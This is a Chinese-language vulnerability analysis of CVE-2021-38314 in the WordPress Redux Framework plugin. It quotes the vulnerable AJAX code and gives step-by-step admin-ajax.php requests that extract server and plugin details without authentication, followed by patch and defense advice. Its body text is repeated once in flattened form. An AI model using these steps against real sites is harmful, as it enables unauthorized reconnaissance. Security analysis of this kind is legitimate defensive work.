Wordpress敏感信息泄漏漏洞 CVE-2021-38314 代码审计
字数 1249 2025-08-07 08:21:50

WordPress Redux Framework 敏感信息泄漏漏洞 (CVE-2021-38314) 分析与复现

漏洞概述

CVE编号: CVE-2021-38314
漏洞类型: 敏感信息泄露
影响组件: WordPress Redux Framework
影响版本: v4.2.11及以下版本
漏洞描述: Redux Framework存在未授权的敏感信息泄露漏洞,攻击者可以通过发送特定请求获取服务器敏感信息。

漏洞分析

漏洞根源

漏洞位于Redux Framework的class-redux-helpers.php文件中,主要问题在于:

  1. 未授权访问的AJAX端点
  2. 敏感信息暴露的函数

关键代码分析

1. 漏洞入口点

$support_hash = md5(md5(Redux_Functions_Ex::hash_key() . '-redux') . '-support');
add_action('wp_ajax_nopriv_' . $support_hash, array('Redux_Helpers', 'support_args'));
add_action('wp_ajax_' . $support_hash, array('Redux_Helpers', 'support_args'));

$hash_arg = md5(trailingslashit(network_site_url()) . '-redux');
add_action('wp_ajax_nopriv_' . $hash_arg, array('Redux_Helpers', 'hash_arg'));
add_action('wp_ajax_' . $hash_arg, array('Redux_Helpers', 'hash_arg'));

关键点:

  • 使用wp_ajax_nopriv_注册的AJAX端点可以被未认证用户访问
  • 这些端点调用了可能泄露敏感信息的函数

2. hash_arg() 函数

public static function hash_arg() {
    echo esc_html(md5(Redux_Functions_Ex::hash_key() . '-redux'));
    die();
}

该函数返回一个基于hash_key()的MD5哈希值,这是后续利用的关键。

3. support_args() 函数

public static function support_args() {
    // 各种HTTP头设置...
    
    $instances = Redux::all_instances();

    if (isset($_REQUEST['i']) && !empty($_REQUEST['i'])) {
        // 有i参数时的处理逻辑
    } else {
        $array = self::get_statistics_object();
        if (is_array($instances) && !empty($instances)) {
            $array['instances'] = array();
            foreach ($instances as $opt_name => $data) {
                $array['instances'][] = $opt_name;
            }
        }
        $array['key'] = md5(Redux_Functions_Ex::hash_key());
    }

    ksort($array);
    echo @htmlspecialchars(@wp_json_encode($array, true), ENT_QUOTES);
    die();
}

关键点:

  • 当没有i参数时,会调用get_statistics_object()获取统计信息
  • 这些信息包含敏感的系统数据

4. get_statistics_object() 函数

该函数收集并返回系统统计信息,包括:

  • WordPress版本
  • Redux Framework版本
  • 服务器信息
  • PHP版本
  • 数据库信息
  • 安装的插件和主题信息

利用链分析

完整的利用链如下:

  1. 首先访问hash_arg端点获取中间值:

    $hash_arg = md5(trailingslashit(network_site_url()) . '-redux');
    

    访问:/wp-admin/admin-ajax.php?action=<hash_arg>

  2. 获取的返回值是md5(Redux_Functions_Ex::hash_key() . '-redux')

  3. 计算support_hash

    $support_hash = md5(<第一步获取的值> . '-support');
    
  4. 访问support_args端点:

    /wp-admin/admin-ajax.php?action=<support_hash>
    

    这将返回包含敏感信息的JSON数据

漏洞复现步骤

步骤1:获取hash_arg值

  1. 计算hash_arg

    $hash_arg = md5(trailingslashit(network_site_url()) . '-redux');
    

    或直接访问:

    /wp-admin/admin-ajax.php?action=<计算出的hash_arg>
    
  2. 获取返回值,假设为HASH_ARG_VALUE

步骤2:计算support_hash

$support_hash = md5(HASH_ARG_VALUE . '-support');

步骤3:获取敏感信息

访问:

/wp-admin/admin-ajax.php?action=<support_hash>

响应将包含系统敏感信息。

修复方案

  1. 升级Redux Framework到v4.2.12或更高版本
  2. 补丁主要移除了以下代码:
    add_action('wp_ajax_nopriv_' . $support_hash, array('Redux_Helpers', 'support_args'));
    add_action('wp_ajax_nopriv_' . $hash_arg, array('Redux_Helpers', 'hash_arg'));
    
    即移除了未授权访问的AJAX端点

防御建议

  1. 及时更新所有WordPress插件和主题
  2. 限制对wp-adminwp-includes目录的访问
  3. 实施Web应用防火墙(WAF)规则,拦截可疑请求
  4. 定期进行安全审计,检查敏感信息泄露问题

总结

CVE-2021-38314漏洞展示了WordPress插件中常见的两类问题:

  1. 未授权访问的API端点
  2. 敏感信息的不当暴露

开发人员应遵循最小权限原则,对任何可能暴露系统信息的接口实施严格的访问控制。同时,安全团队应定期审计代码中的信息泄露风险。

WordPress Redux Framework 敏感信息泄漏漏洞 (CVE-2021-38314) 分析与复现 漏洞概述 CVE编号 : CVE-2021-38314 漏洞类型 : 敏感信息泄露 影响组件 : WordPress Redux Framework 影响版本 : v4.2.11及以下版本 漏洞描述 : Redux Framework存在未授权的敏感信息泄露漏洞,攻击者可以通过发送特定请求获取服务器敏感信息。 漏洞分析 漏洞根源 漏洞位于Redux Framework的 class-redux-helpers.php 文件中,主要问题在于: 未授权访问的AJAX端点 敏感信息暴露的函数 关键代码分析 1. 漏洞入口点 关键点: 使用 wp_ajax_nopriv_ 注册的AJAX端点可以被未认证用户访问 这些端点调用了可能泄露敏感信息的函数 2. hash_ arg() 函数 该函数返回一个基于 hash_key() 的MD5哈希值,这是后续利用的关键。 3. support_ args() 函数 关键点: 当没有 i 参数时,会调用 get_statistics_object() 获取统计信息 这些信息包含敏感的系统数据 4. get_ statistics_ object() 函数 该函数收集并返回系统统计信息,包括: WordPress版本 Redux Framework版本 服务器信息 PHP版本 数据库信息 安装的插件和主题信息 利用链分析 完整的利用链如下: 首先访问 hash_arg 端点获取中间值: 访问: /wp-admin/admin-ajax.php?action=<hash_arg> 获取的返回值是 md5(Redux_Functions_Ex::hash_key() . '-redux') 计算 support_hash : 访问 support_args 端点: 这将返回包含敏感信息的JSON数据 漏洞复现步骤 步骤1:获取hash_ arg值 计算 hash_arg : 或直接访问: 获取返回值,假设为 HASH_ARG_VALUE 步骤2:计算support_ hash 步骤3:获取敏感信息 访问: 响应将包含系统敏感信息。 修复方案 升级Redux Framework到v4.2.12或更高版本 补丁主要移除了以下代码: 即移除了未授权访问的AJAX端点 防御建议 及时更新所有WordPress插件和主题 限制对 wp-admin 和 wp-includes 目录的访问 实施Web应用防火墙(WAF)规则,拦截可疑请求 定期进行安全审计,检查敏感信息泄露问题 总结 CVE-2021-38314漏洞展示了WordPress插件中常见的两类问题: 未授权访问的API端点 敏感信息的不当暴露 开发人员应遵循最小权限原则,对任何可能暴露系统信息的接口实施严格的访问控制。同时,安全团队应定期审计代码中的信息泄露风险。